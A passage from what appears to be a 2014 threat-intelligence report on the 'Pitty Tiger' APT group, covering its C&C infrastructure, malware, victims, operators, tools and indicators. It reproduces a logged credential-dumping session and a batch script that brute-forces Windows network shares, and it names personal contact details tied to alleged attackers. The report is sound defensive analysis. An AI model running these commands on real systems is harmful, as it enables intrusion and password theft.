Tiger +The Eye of the Tiger +From 2011-12-29 to 2013-01-02 : +Registrant :chenzhizhong +Email : hurricane_huang@163.com +Telephone : +86.2426836910 +From 2013-11-21 until today : +Registrant : long sa +Email : longsa33@yahoo.com +Telephone : +86.88885918 +The most recent registration information is also used for avstore.com.tw. +Malware families +Six malware families have been identified as communicating with subdomains of skypetm.com.tw: +MM RAT +Pitty Tiger RAT +Troj/ReRol.A +CT RAT +Paladin +Exadog +81fa811f56247c236566d430ae4798eb +55e456339936a56c73a7883ea1ddb672 +d5da60d678d5a55a847e1e6723c7a4d0 +0750569cf1733d4fbb01169476387cc2 +Malware family +MM RAT +Backdoor:Win32/Ptiger.A +Backdoor:Win32/Ptiger.A +Backdoor:Win32/Ptiger.A +abb0abfab252e4bfb9106273df3c1c2 +Backdoor:Win32/Ptiger.A +c0656b66b9f4180e59e1fd2f9f1a85f2 +ce15fa3338b7fe780e85c511d5e49a98 +8a54adb3976d1c03605656ca55be7400 +a1ea6dc12b983c7262fe76c1b3663b24 +b6380439ff9ed0c6d45759da0f3b05b8 +5e2360a8c4a0cce1ae22919d8bff49fd +79e48961d1ee982a466d222671a42ccb +4ab74387f7a02c115deea2110f961fd3 +bf95e89906b8a17fd611002660ffff32 +CONTAINS VICTIM INFORMATION +4ce8593c9de2b27b5c389f651c81638b +8df89df484ca5c376b763479ea08d036 +22e47c5e3809a4150d0db7fc99a68cc0 +Troj/Rerol.A +Troj/Rerol.A +Backdoor:Win32/Ptiger.A +Backdoor:Win32/Ptiger.A +Troj/Rerol.A dropper +Troj/ReRol.A +Troj/ReRol.A +ReRol.A +Troj/ReRol.A +Office Word file - Rerol.A dropper +CT RAT +Paladin +Office Excel file + Rerol.A +dropper +Backdoor:Win32/Ptiger.A +Win32/Exadog.AA +Backdoor:Win32/Ptiger.A +dd87c68c1e71bb104a48a6be87a2349f +068870c2c165a1d29fc2f3d3edfed3ae +Unknown +C&C server +ms11.skypetm.com.tw +botemail.skypetm.com.tw +aniu.skypetm.com.tw +aniu.skypetm.com.tw +zeng.skypetm.com.tw +aniu.skypetm.com.tw +zeng.skypetm.com.tw +zeng.skypetm.com.tw +zeng.skypetm.com.tw +super.skypetm.com.tw +qinoo.skypetm.com.tw +sophos.skypetm.com.tw +sophos.skypetm.com.tw +sophos.skypetm.com.tw +sophos.skypetm.com.tw +sophos.skypetm.com.tw +sophos.skypetm.com.tw +newb02.skypetm.com.tw +newb02.skypetm.com.tw +margo.skypetm.com.tw +ripper.skypetm.com.tw +link.skypetm.com.tw +asdf.skypetm.com.tw +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 33/58 +Operation Pitty Tiger +The Eye of the Tiger +Skypetm.com.tw infrastructure: subdomains and malware linked to it +Hosting Company +Geolocalisation +IP Range +IP Address +C&C server +Timeline +Take 2 Hosting Inc. +San Jose, USA +173.252.192.0 173.252.255.255 +173.252.198.103 +newb02.skypetm.com.tw +Actually in use +Hurricane Electric +Inc. +Fremont USA +66.220.0.0 66.220.31.255 +66.220.4.100 +sophos.skypetm.com.tw +Actually in use +Taiwan Academic +Network +Taipei, Taiwan +210.60.0.0 210.60.255.255 +210.60.141.45 +botemail.skypetm.com.tw +2012-03-06 +Gorillaservers Inc. +Los Angeles, USA +198.100.96.0 198.100.127.255 +198.100.121.15 +sophos.skypetm.com.tw +Gorillaservers Inc. +Los Angeles, USA +198.100.96.0 198.100.127.255 +198.100.121.15 +margo.skypetm.com.tw +2013-11-22 +Webnx Inc. +Los Angeles, USA +216.18.192.0 216.18.223.255 +216.18.208.4 +botemail.skypetm.com.tw +2013-04-04/201312-16 +Webnx Inc. +Los Angeles, USA +216.18.192.0 216.18.223.255 +216.18.208.4 +qinoo.skypetm.com.tw +Data +Communication +Business Group +Taipei, Taiwan +59.112.0.0 59.123.255.255 +59.120.84.230 +botemail.skypetm.com.tw +2012-03-12/201204-28 +Data +Communication +Business Group +Taipei, Taiwan +211.75.128.0 211.75.255.255 +211.75.195.1 +super.skypetm.com.tw +2011-08-30/201312-16 +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 34/58 +Operation Pitty Tiger +The Eye of the Tiger +Data +Communication +Business Group +Taipei, Taiwan +61.220.0.0 61.227.255.255 +61.220.44.244 +aniu.skypetm.com.tw +2013-04-05/201312-16 +Data +Communication +Business Group +Taipei, Taiwan +61.220.0.0 61.227.255.255 +61.220.44.244 +zeng.skypetm.com.tw +Data +Communication +Business Group +Taipei, Taiwan +61.220.0.0 61.227.255.255 +61.220.209.17 +qinoo.skypetm.com.tw +New World +Telephone Ltd. +Hong Kong City, +Hong Kong +113.10.169.0 113.10.169.255 +113.10.169.162 +margo.skypetm.com.tw +Actually in use +New World +Telephone Ltd. +Hong Kong City, +Hong Kong +58.64.185.0 58.64.185.255 +58.64.185.200 +zeng.skypetm.com.tw +2013-12-16/201312-16 +New World +Telephone Ltd. +Hong Kong City, +Hong Kong +113.10.240.0 113.10.240.255 +113.10.240.54 +qinoo.skypetm.com.tw +New World +Telephone Ltd. +Hong Kong City, +Hong Kong +113.10.221.0 113.10.221.255 +113.10.221.126 +zeng.skypetm.com.tw +New World +Telephone Ltd. +Hong Kong City, +Hong Kong +113.10.240.0 113.10.240.255 +113.10.240.50 +link.skypetm.com.tw +2012-12-21/201312-16 +Asia Data (hong +Kong) Limited +Hong Kong City, +Hong Kong +101.1.17.0 101.1.31.255 +101.1.25.74 +zeng.skypetm.com.tw +Actually in use +Isp Satellite +Broadband +Provider +Hong Kong City, +Hong Kong +202.174.130.0 202.174.130.255 +202.174.130.110 +ms11.skypetm.com.tw +2011-02-27/201312-16 +Jeongkyunghee +Anyang, South +Korea +221.144.0.0 221.168.255.255 +221.150.164.114 +link.skypetm.com.tw +2011-06-29/201212-18 +COMMON CHARACTERISTICS BETWEEN THE TWO DOMAINS +Malware families and samples +Avstore.com.tw and skypetm.com.tw have 4 malware families in common, communicating to +subdomains of both domains: +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 35/58 +Operation Pitty Tiger +The Eye of the Tiger +Links between malware samples, IP addresses and c&cs associated to avstore.com.tw and skypetm.com.tw +OTHER DOMAINS LINKED WITH THE PITTY TIGER GROUP +Domain +Shares +with +Comment +paccfic.com +Whois +information +acers.com.tw, +foxcom.com.tw, +dopodo.com.tw, +stareastnet.com.tw +webconference.com.tw +Whois +information +techsun.com.tw +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 36/58 +Operation Pitty Tiger +The Eye of the Tiger +stareastnet.com.tw +IP Address +techsun.com.tw, +trendmicro.org.tw +Whois +information +acers.com.tw, +foxcom.com.tw, +dopodo.com.tw, +paccfic.com +dopodo.com.tw, +foxcom.com.tw, +kimoo.com.tw, +symantecs.com.tw +trendmicroup.com +IP Address +symantecs.com.tw +Whois +information +IP Address +trendmicroup.com +Whois +information +trendmicro.org.tw +Whois +information +IP Address +lightening.com.tw +Whois +information +IP Address +techsun.com.tw +Whois +information +IP Address +dopodo.com.tw +Whois +information +IP Address +foxcom.com.tw +Whois +information +IP Address +acers.com.tw +Whois +information +IP Address +Two PittyTiger malware and a CT RAT have been +pointing to several stareastnet.com.tw subdomains. +A pittytiger dropper, a Paladin malware and a CT RAT have been +pointing to several symantecs.com.tw subdomains. +dopodo.com.tw, +foxcom.com.tw, +kimoo.com.tw, +stareastnet.com.tw, +wmdshr.com, +trendmicro.org.tw +symantecs.com.tw +Skypetm.com.tw, +avstore.com.tw +webconference.com.tw, +techsun.com.tw, +skypetm.com.tw, +kimoo.com.tw, +symantecs.com.tw, +hdskip.com +helosaf.com.tw, +seed01.com.tw +seed01.com.tw, +A paladin and a PittyTiger malware have been pointing to several +trendmicro.org.tw subdomains. +Paladin and PittyTiger samples has been pointing to several +lightening.org.tw subdomains. +webconference.com.tw +webconference.com.tw, +trendmicro.org.tw +acers.com.tw, +foxcom.com.tw, +stareastnet.com.tw +stareastnet.com.tw, +symantecs.com.tw, +kimoo.com.tw +acers.com.tw, +dopodo.com.tw, +stareastnet.com.tw +stareastnet.com.tw, +symantecs.com.tw, +kimoo.com.tw +acers.com.tw, +foxcom.com.tw, +stareastnet.com.tw +symantecs.com.tw, +wmdshr.com, +kimoo.com.tw +Links between domains used by Pitty Tiger +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 37/58 +Operation Pitty Tiger +The Eye of the Tiger +Timeline of Pitty Tiger domains registration information, based on e-mail address +Some domains registered by the group are very old. There is an increase in the registrations from +2010 on. All the e-mail addresses used are connected to the Pitty Tiger group. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 38/58 +Operation Pitty Tiger +The Eye of the Tiger +VICTIMS +Mapping the victims of such a targeted campaign is not an easy task. +We have found the Pitty Tiger group to be very active against one particular private company from +the defense industry and one academic network of a government, , yet we think it was done to be +used as a proxy for some of the group +s operations. +We have also found some connections from other companies to the c&c servers, yet we did not find +evidence that they were real victims. +These alleged victims do work in different sectors and are located mostly in European countries. +1 company from the defense industry; +1 company from the energy industry; +1 company from the telecommunications industry; +1 company specialized in web development. +It might be surprising to see a company specialized in web development here, yet it has built +websites for interesting potential targets. We suspect Pitty Tiger to use this compromise to spear +phish other companies which are in commercial relation with this web development company. +We have to mention that we only had access to three of the several attackers + servers. Therefore, +we suppose the Pitty Tiger group could have more targets than what we could confirm. +We also found a lot of vulnerability scanners launched by the attackers at different targets, yet there +was no sign of compromise. +During the course of our investigations, we discovered a RAR archive on the attacker +s server +containing 5 Word documents and one small C source code. These documents belong to the +defense company which has been compromised. According to the name of the files and the general +feel of the archive, we do think it was extracted by the attackers to +show + someone what kind of +data they could get from the compromise of that particular target. The documents were still +exhibiting comments from various users, showing it was an ongoing work and not old documents. +Interestingly enough, we saw a part of these documents appear on Virus-Total, with an additional +gift + from the attackers, a payload dropping a malware. +There are only two options we can think of here: + Someone from the same company has been targeted with this document. + Someone from another company has been targeted with this document. This other company +could be a partner or competitor. +Since we were unable to determine the intended use of this specific document, we can only suppose +that it could be used to provide commercial advantages to competitors of that company, or used by +a foreign state. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 39/58 +Operation Pitty Tiger +The Eye of the Tiger +ATTACKERS +During our investigation, we found out interesting information about the Pitty Tiger group itself. After +analyzing the various collected elements, we have tried to draw a portrait of this particular threat. +ATTACKER +S CONNECTIONS TO THE C&C +We have been able to get all the RDP connections logs to one c&c server: +COMPUTER NAME +OCCURENCES IP ADDRESSES COUNTRY +23.226.178.162 +27.155.90.80 +27.155.110.81 +27.156.49.223 +58.64.177.60 +59.53.91.33 +103.20.192.11 +110.90.60.250 +110.90.61.69 +110.90.62.185 +120.32.113.97 +120.32.114.209 +121.204.33.130 +121.204.33.153 +183.91.52.230 +China +China +China +Hong Kong +China +Hong Kong +China +China +China +China +China +China +China +Hong Kong +FLY-THINK +27.151.0.224 +27.155.109.89 +121.204.88.120 +120.32.114.139 +China +China +China +China +TIEWEISHIPC +CHMXY-PC +27.16.139.143 +58.61.40.5 +China +China +50PZ80C-1DFDCB8 +RDP connections from attackers machines to one particular c&c, from beginning of April 2014 to beginning of July 2014 +These connections are either VPS or dynamic IP addresses, mostly from China. +A computer named CHMXY-PC connected to the c&c via RDP with IP address 58.61.40.5. The IP is +in an ADSL dynamic pool in the Gangzhou area (Guangdong province): +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 40/58 +Operation Pitty Tiger +The Eye of the Tiger +IP address used by CHMXY-PC +A few connections to the c&c were done by a computer named TIEWEISHIPC with IP address +27.16.139.143. This IP address belongs to an ADSL dynamic pool in the Wuhan area (Hubei +provincial capital). +IP address used by TIEWEISHIPC computer +Some connections to the c&c originated from a computer named FLY-THINK with several IP +addresses, all located in Fuqing (Fujian province). The IP addresses are in an ADSL dynamic pool: +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 41/58 +Operation Pitty Tiger +The Eye of the Tiger +IP addresses used by the FLY-THINK machine +Most of the connections to the c&c server were coming from a computer named 50PZ80C1DFDCB8 with several IP addresses. There are 11 IP addresses from Chinese dynamic ADSL +ranges: 9 from Fuqing (Fujian province), one from Fuzhou (Fujian +s province capital) and one from +Nanchang (Jiangxi +s province capital). The last one came from a VPS instance located in Los +Angeles (California, USA) but purchased by a China based VPS provider XeVPS which belong to +the AS38197 (Sun Network Hong Kong Limited). +IP addresses used by the 50PZ80C-1DFDCB8 machine +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 42/58 +Operation Pitty Tiger +The Eye of the Tiger +The two computers FLY-THINK and 50PZ80C-1DFDCB8 have used distinct IP addresses to +connect to the c&c, yet some of these IP addresses come from the same IP range: +IP ranges overlapping between two machines used by the attackers +We mapped these RDP connections to have a graphical view: +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 43/58 +Operation Pitty Tiger +The Eye of the Tiger +RDP connections from the attackers to one c&c server +TOOT +We found that a member of this group of attackers used some tools on his own system, for testing +purposes. This information was still available when we got access to the c&c server. +He launched some tests with the CT RAT we exposed earlier: +User +Toot + logging on the CT RAT on machine +toot-2a601225a8 +, 2014/02/10 +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 44/58 +Operation Pitty Tiger +The Eye of the Tiger +User +Toot + logging on the CT RAT on machine +toot-2a601225a8 +, 2014/04/09 +User +Toot + logging on the CT RAT on machine +toot-2a601225a8 +, 2014/04/09 +Here we can see a user +Toot + from a machine named +toot-2a601225a8 + logging in the CT RAT +and executing some commands. The c&c IP address, 198.100.113.27, can be seen there. Other log +files showed that +Toot + is using virtual machines for his tests. +We can also see the system: Microsoft Windows XP SP3. The + field is the language ID. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 45/58 +Operation Pitty Tiger +The Eye of the Tiger +1028 means +Chinese traditional +. We have also seen tests run by +toot + with a language ID of 2052, +which is +Chinese simplified +The + field is probably used for versioning. It is a hardcoded string in the binary. +After these tests, we could see some real connections to a victim using this RAT. Here is a follow-up +of the commands launched by the bot controller, in a standard command-line shell: +Command +cd\temp +Effect +Folder change +Lists the content of the folder. The +attacker here is probably looking for his +tools and does not remember if they +are there or in system32. +cd\windows\system32 +Folder change +dir tools* +Looking for tools.exe, a tool to fetch +different kind of credentials on the +system +tools +The attacker wants to see what the +options are for the tool. +tools +Tools.exe is launched. +At this point, the output shows the +attackers only gets successfully one +MSN credential in clear text, login and +password, and one Microsoft Outlook +credential. +type iecache.txt +Shows the Internet Explorer cache to +the attacker. The output is huge. +dir cmd.exe +Looking for cmd.exe +del tools.exe +Remove the tools.exe after its use +dir tools.exe +Checks to see if it has been +successfully deleted +del iecache.txt +Removes the IE cache log file. +regedit -e 1.reg +Dumps the content of this key to a file +"HKEY_CURRENT_USER\Software\Microsoft\Windows named 1.reg +NT\CurrentVersion\Windows" +type 1.reg +Checks if dump has been successful. +del 1.reg +Deletes the dump +regedit -e v1.reg +Do it again, we do not know why the +"HKEY_CURRENT_USER\Software\Microsoft\Windows attacker does this the output is the +NT\CurrentVersion\Windows" +same as for previous regedit command +type v1.reg +Checks the dump again +dir *.reg +Looking for traces left in this folder +del v1.reg +Deletes the one *.reg file left. +del c:\windows\system32\mfqtirq.exe +Removes a binary used in the attack +del c:\windows\system32\crupalo.dll +Removes a binary used in the attack +dir c:\windows\system32\mfqtirq.exe +Checks +removal +been +successfull +dir c:\windows\system32\crupalo.dll +Checks +removal +been +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 46/58 +Operation Pitty Tiger +The Eye of the Tiger +successfull +Displays the list of applications and +services for all tasks running on the +computer +Stores the output of the previous +command in 1.txt +Checks the content +Removes the content +Lists all services running on the +machine +Looks for +MailPass View +, a tool to +extract e-mail passwords from various +e-mail clients +Launches MailPass View and requests +the output to be generated as a text file +named 1.txt +Looks for the content : + One MSN login/password + One login/password for a POP3 +e-mail account related to the +targeted entity +Deletes both files +Looks for +IE PassView + tool, to extract +passwords from Internet Explorer. +Public domain. +Launches the tool, output is a text file +named 1.txt +Looks for the output: none +Deletes both files +tasklist +tasklist >1.txt +type 1.txt +del 1.txt +net start +dir mailpv* +mailpv /stext 1.txt +type 1.txt +del mailpv.exe 1.txt +dir iepv* +iepv /stext 1.txt +type 1.txt +del iepv.exe 1.txt +The attacker goes on like this, using his tools, and then ends the communication with this RAT on +that computer. +Please note that at this point, the attacker has at least the privileges of a local administrator, since +he is allowed to write content in the system32 folder of a Windows XP system. He could also gain +the credentials to a sensitive e-mail account. +In addition to all information already shown, we saw Toot connect to an account on a cloud service +named +Baidu Drive +. The e-mail address linked to this account is dyanmips@qq.com (QQ-ID: +2589315828). We could find traces of two other e-mail accounts associated to Toot, +cisco_dyanmips@qq.com (QQ ID: 204156335) and cisco_dynamips@qq.com (QQ ID: +1878836793). +We did not find more information about user +Toot +, yet we miss Chinese language capabilities. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 47/58 +Operation Pitty Tiger +The Eye of the Tiger +COLD & SNOW +The controller part of CT RAT/PittyTiger RAT revealed the following +about + information, once +translated from Chinese to English language: +CT console (compatible pittytiger) v1.3 +2013.12 by Trees and snow +We believe this translation of the author +s name might not be accurate due to the use of automated +translation tools. Moreover, we have strong suspicions that there is not a single individual +nicknamed +Trees and snow + but rather two programmers nicknamed +Trees + and +Snow +Trees +could also be +Cold +. We noticed that the symbol for this word is translated differently according to +the context it is used in. Once again, we lack Chinese language skills. +We identify the two nicknames on the current campaign as Automn Snow ( +) and Cold Air Kiss ( +While we are confident that these people are indeed the developers of both PittyTiger and CT RAT +malware, we are not sure they belong to the PittyTiger group. These developers might just have +been hired to develop these RATs. They might also just be selling it to the PittyTiger group. There is +no trace of usage from other attacking groups, we believe the PittyTiger RAT is exclusively used by +this group of attackers. +ROLES AND ORGANIZATION +According to indicators we gathered and threat activities profiling we have some hypothesis on the +way the group is conducting its operations. +We have strong evidence of a bot operator position. We identify one nickname for this position, the +user known as TooT. As we did not see other nickname, we think that TooT is one person and not a +group of persons. +We also identified a malware development position. We identified two nicknames for this position on +the current campaign, Automn Snow ( +) and Cold Air Kiss ( +). Yet we are unsure that they +belong to the group, they might just be a third party providing or selling their malware. +We have a strong suspicion of a coordinator position, which coordinates the bot operator, provides +him with some logistics support (weaponized document, tools +) and reviews the programmers +work. This position could imply a communication channel with another manager. +We named this position +Chen +, in relation with several references of this common Chinese name in +c&c WHOIS and other investigation materials. +We have some suspicion of a customer relationship manager position that may act as an interface +between a customer and Chen. We named this position +Lilly +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 48/58 +Operation Pitty Tiger +The Eye of the Tiger +Proposal for PittyTiger team structure +ATTACKERS ARSENAL +The c&c servers used by the attackers revealed a lot of interesting files stored in various folders: +Filename +Description +32m.exe +3200.exe +/ MM RAT +ieupdate.exe / insert.exe / +khuvaxu.exe +32mm.exe / mm32.exe +CT RAT +322.exe +Chinese version of calc.exe, probably for +testing purposes +client.exe +File transfer tool, via pipes +CP.exe/CP_sep.exe +Microsoft Outlook dumper +CT.exe +Controller for CT RAT (2013.10) +ct1.exe +Controller for both CT RAT and PittyTiger RAT +Diruse.exe +Tool to display disk usage for a directory tree +GlobalWind.exe +Controller for Pitty Tiger +gsec1.exe +GSecDump password dumper +http.exe/wsup.exe +Controller for MM RAT +Public tool ? +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 49/58 +Operation Pitty Tiger +The Eye of the Tiger +km.exe +logreader.exe +Mailpv.exe +Netpass.exe +iepv.exe /iepv-jiake.exe +routerpass.exe +pstpass.exe +vncpass.exe +rdpv.exe +lookpass.exe +tools.exe, res.exe +p2012.exe +p.exe +po.exe +pp.exe +pr.exe +rar.exe +sff.exe +ssql.exe +w7ij32.exe +ToyI.dll +winspre.exe +dr.asp +sk.exe +Fluxay5Beta1 +feitafanghuoqiang +Hscan1.2 +mimi.exe, mimikaz64.exe +o2scan +Openssl +X-Scan-v3.3 +8uFTP +NcFTP +SEPM exploit +Toyi + keylogger +Tool to decrypt the km.exe keylogger data +Mail PassView + tool, to extract e-mail +passwords from various e-mail clients. +Network Password Recovery + tool, to extract +network passwords. +IE PassView + tool, to extract passwords from +Internet Explorer. +The file iepv-jiake.exe is the same, but crypted +using a tool named DarkCrypt (DarkCrpt). +Router PassView + tool, to extract credentials +in some router backup files. +PstPassword + tool, to extract Outlook +s PST +files passwords. +VNCPassView + tool, to extract passwords +stored by the VNC tool. +Remote Desktop PassView + tool, to extract +the passwords from .RDP files. +Password revealer. +Multi +password +dumper: +RDP,VNC,IE,ProtectedStorage,MSN,Wireless, +etc. +Controller for Paladin 2.1 +Controller for Paladin 2.2 +TCP Tunneling tool. +Controller for Paladin 2.1 +Dotpot port scanner. +Rar archiving tool, command-line version. +File-searching tool to hunt for doc,txt,mdb, +sec,eml,vsd,ppt,pps,dbx (SearchFile). +MySQL scanner. +Windows 7 DLL injector. +Keylogger. Can be used with w7ij32.exe +Troj/ReRol.A +Front-end for Troj/ReRol.A. +Snake +s SkServer. +Vulnerability scanner +Fortinet vulnerability scanner +Vulnerability scanner +Mimikatz password dumper +Vulnerability scanner +Heartbleed Exploit +X-Scan vulnerability scanner +FTP client +FTP client +Remote command execution exploit on +Symantec Endpoint Protection Manager (CVE2013-5014, CVE 2013-5015) +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 50/58 +Operation Pitty Tiger +The Eye of the Tiger +s.exe +Shanian Port Scanner +PHP Scanner +Port scanner +This is quite the usual arsenal for a group of APT attackers: +Malware (Troj/ReRol.A) +Remote Administration Tools (MM RAT, CT RAT, Pitty Tiger, Paladin) +E-mail espionage tools (cp.exe, mailpv.exe) +Passwords dumpers (gsecdump, NirSoft tools, Mimikatz etc.) +Network scanners (pr.exe) +Network-oriented tools (po.exe) +Vulnerability scanners (ssql.exe, Fluxay, etc.) +What is rare to find is the controller part of those tools. We have been lucky enough to get the +controller part of Pitty Tiger and CT RAT, and even to get a kind of hybrid controller made for CT +RAT but also supporting Pitty Tiger. We suppose that the CT RAT is the new evolution of Pitty Tiger +and that it will replace Pitty Tiger in the following months. +The presence of a Chinese version of +calc.exe +, the official calculator provided in Microsoft +Windows, is interesting. Not only is it one more indicator of a probable Chinese origin, but also an +indicator that this server was probably used as a test base, in addition to being operational and +controlling infected machines from different targets. +In addition to those tools, we found some interesting scripts. A script named ipc.bat uses a file +named user.txt to try to brute-force a shared folder access: +for /f "tokens=1,2 delims= " %%i in (user.txt) do (net use \\\ipc$ "%%j" /u:%%i) +&& (net use \\ /del) && (echo user:%%i pass:%%j>>succ.txt) +One script used to brute-force a network share inside a company +s network +The user.txt file contains thousands of lines, each one being a couple of one particular username +and one password attempt: +administrator nameofonetargetedcompany +administrator !Password +administrator azerty123 +administrateurnameofonetargetedcompany +administrateur !Password +administrateur azerty123 +nameofonetargetedcompany + !Password + azerty123 +nameofonetargetedcompany + !Password + azerty123 +Anonymized dictionary file used for brute-forcing a network share +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 51/58 +Operation Pitty Tiger +The Eye of the Tiger +This user.txt file has been anonymized, yet we wanted to give you the feel for it. This file is 67320 +lines long, and uses 5610 different passwords for each of 12 users contained in this file. The user +names are clearly the result from a user enumeration and are dedicated to a particular French +victim. +The passwords listed in this file are either build from several campaigns or from the current +campaign. A lot of passwords are related to the targeted company and might be previous passwords +from users. +We have also discovered a pack of files which can be used to trigger an Internet Explorer +vulnerability (CVE-2014-0322). The date of these files, namely Tope.swf and index.html, was +2014/02/18, a few days after the revelation of existing exploits in the wild used in APT attacks1. +We do not know if the Pitty Tiger group used this exploit or not, but found no trace indicating they +did. A lot of different attackers seem to have used that vulnerability since. +http://www.symantec.com/connect/blogs/new-internet-explorer-10-zero-day-discovered-wateringhole-attack +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 52/58 +Operation Pitty Tiger +The Eye of the Tiger +ATTRIBUTION +Determining who is exactly behind an APT campaign is difficult. We tried to extract different +technical indicators, together with contextual elements. +Information relating to the tools used by the attackers has been leveraged for attribution: +Several Chinese vulnerability scanners have been launched against targets; +Several Chinese tools have been used and found on the c&c servers of the attackers: +8uFTP, a Chinese version of calc.exe, etc.; +Two of the used RATs have been developed by the same developers: CT RAT and +PittyTiger RAT. The controllers for these RATs show Chinese language; +Several binaries used by the attackers show either +Chinese - China + or +Chinese-Taiwan +language ID in their resources; +A decoy Word document has been found, written in Chinese language; +The IP addresses used for the hosting of the c&c domains are mainly located in Taipei (Ta +wan) and +Hong Kong City (Hong Kong Special Administrative Region, PRC): +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 53/58 +Operation Pitty Tiger +The Eye of the Tiger +Hosting information links for the c&c servers used in this campaign +Most RDP connections to the c&c infrastructure come from Chinese IP ranges in Fuqing (Fujian +province, PRC). Yet some IP addresses in the USA and in Hong Kong have also been found; +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 54/58 +Operation Pitty Tiger +The Eye of the Tiger +RDP connections from attackers to the c&c infrastructure +All the items listed in this chapter are strong indicators that the attackers might be Chinese. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 55/58 +Operation Pitty Tiger +The Eye of the Tiger +CONCLUSION +Pitty Tiger is a group of attackers that have been active since at least 2011. +Pitty Tiger is effective and mature in the use of targeted malware, the use of known exploits to infect +computers with their malware and the creation of an infrastructure to efficiently conduct APT attacks. +They are quite unprofessional in their way of using their infrastructure: they do launch vulnerability +scanners directly from a c&c server and also use their connection for personal activities +(downloading pornographic material for example, as we have seen a whole folder on a c&c server +full of xxx torrent links). +Pitty Tiger is probably not a state-sponsored group of attackers. The attackers lack the experience +and financial support that one would expect from state-sponsored attackers. We suppose this group +is opportunistic and sells its services to probable competitors of their targets in the private sector. +One governmental network has been targeted by the group, yet we do not have any evidence of the +purpose of this attack. We suppose this particular attack has been executed to provide a usable +bounce for the group. +The campaign we studied has been largely focused on one particular target. We suspect the Pitty +Tiger group to work according to an opportunistic business model: this group might offer its services +to third parties from the private sector. +This group seems to be very small compared to other APT groups. We have leveraged several +profiles and could identify some attackers to a certain extent. We believe this group might keep +working as it is now, with limited budgets, or grow to extend its attacking campaign capabilities. +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 56/58 +Operation Pitty Tiger +The Eye of the Tiger +INDICATORS +This list of indicators is provided in order to help people detect Pitty Tiger APT campaign. +DOMAINS +Domains used by the Pitty Tiger group: (please note several subdomains are used, as seen in the +report) +acers.com.tw +kimoo.com.tw +paccfic.com +foxcom.com.tw +dopodo.com.tw +trendmicroup.com +lightening.com.tw +avstore.com.tw +helosaf.com.tw +trendmicro.org.tw +stareastnet.com.tw +symantecs.com.tw +seed01.com.tw +skypetm.com.tw +MALWARE HASHES +MD5 Hashes +dc3d905ed90bbc148bccd34fe0c94d2d +dd87c68c1e71bb104a48a6be87a2349f +a494010a51705f7720d3cd378a31733a +be18418cafdb9f86303f7e419a389cc9 +0750569cf1733d4fbb01169476387cc2 +3282a5e77f24c645984ef152a2aea874 +8a54adb3976d1c03605656ca55be7400 +666ae21ceaea9bb8017a967ea6128add +a1ea6dc12b983c7262fe76c1b3663b24 +d5da60d678d5a55a847e1e6723c7a4d0 +55e456339936a56c73a7883ea1ddb672 +abb0abfab252e45bfb9106273df3c1c2 +4ab74387f7a02c115deea2110f961fd3 +b6380439ff9ed0c6d45759da0f3b05b8 +bf95e89906b8a17fd611002660ffff32 +ce15fa3338b7fe780e85c511d5e49a98 +5e2360a8c4a0cce1ae22919d8bff49fd +12854bb8d1e6a590e1bd578267e4f8c9 +5e2360a8c4a0cce1ae22919d8bff49fd +Malware Family +PittyTiger RAT +Troj/ReRol.A +Public release +Threat Intelligence +The Eye of the Tiger +Copyright + 2014 Airbus Defence & Space - All rights reserved +Page : 57/58 +Operation Pitty Tiger +The Eye of the Tiger +c0656b66b9f4180e59e1fd2f9f1a85f2 +79e48961d1ee982a466d222671a42ccb +33714886dad497d6f0ecc255f0399004 +3b498f19d467d2b8d4c778a92cacae9a +f71b374d341dc55b9b825531ba843f6d +8df89df484ca5c376b763479ea08d036 +0d3b3b422044759b4a08a7ad8afe55c7 +789c23dfcd67a5543769a3f0261ea325 +96a59b9813202734f59ae809105e73d1 +26be2cbb00158dfab6c81976d93748e8 +e7dc3bbe8b38b7ee0e797a0e27635cfa +4ce8593c9de2b27b5c389f651c81638b +f65dc0b3eeb3c393e89ab49a3fac95a8 +b0a4302789e9716705d30ad1f8775a84 +81fa811f56247c236566d430ae4798eb +3654496539faedfe137a1f989359aef0 +Paladin RAT +CT RAT +MM RAT (aka Troj/Goldsun-B) +Leo RAT +MALWARE STRINGS +Strings (File/Network) +/FC001/GET +---PittyTiger 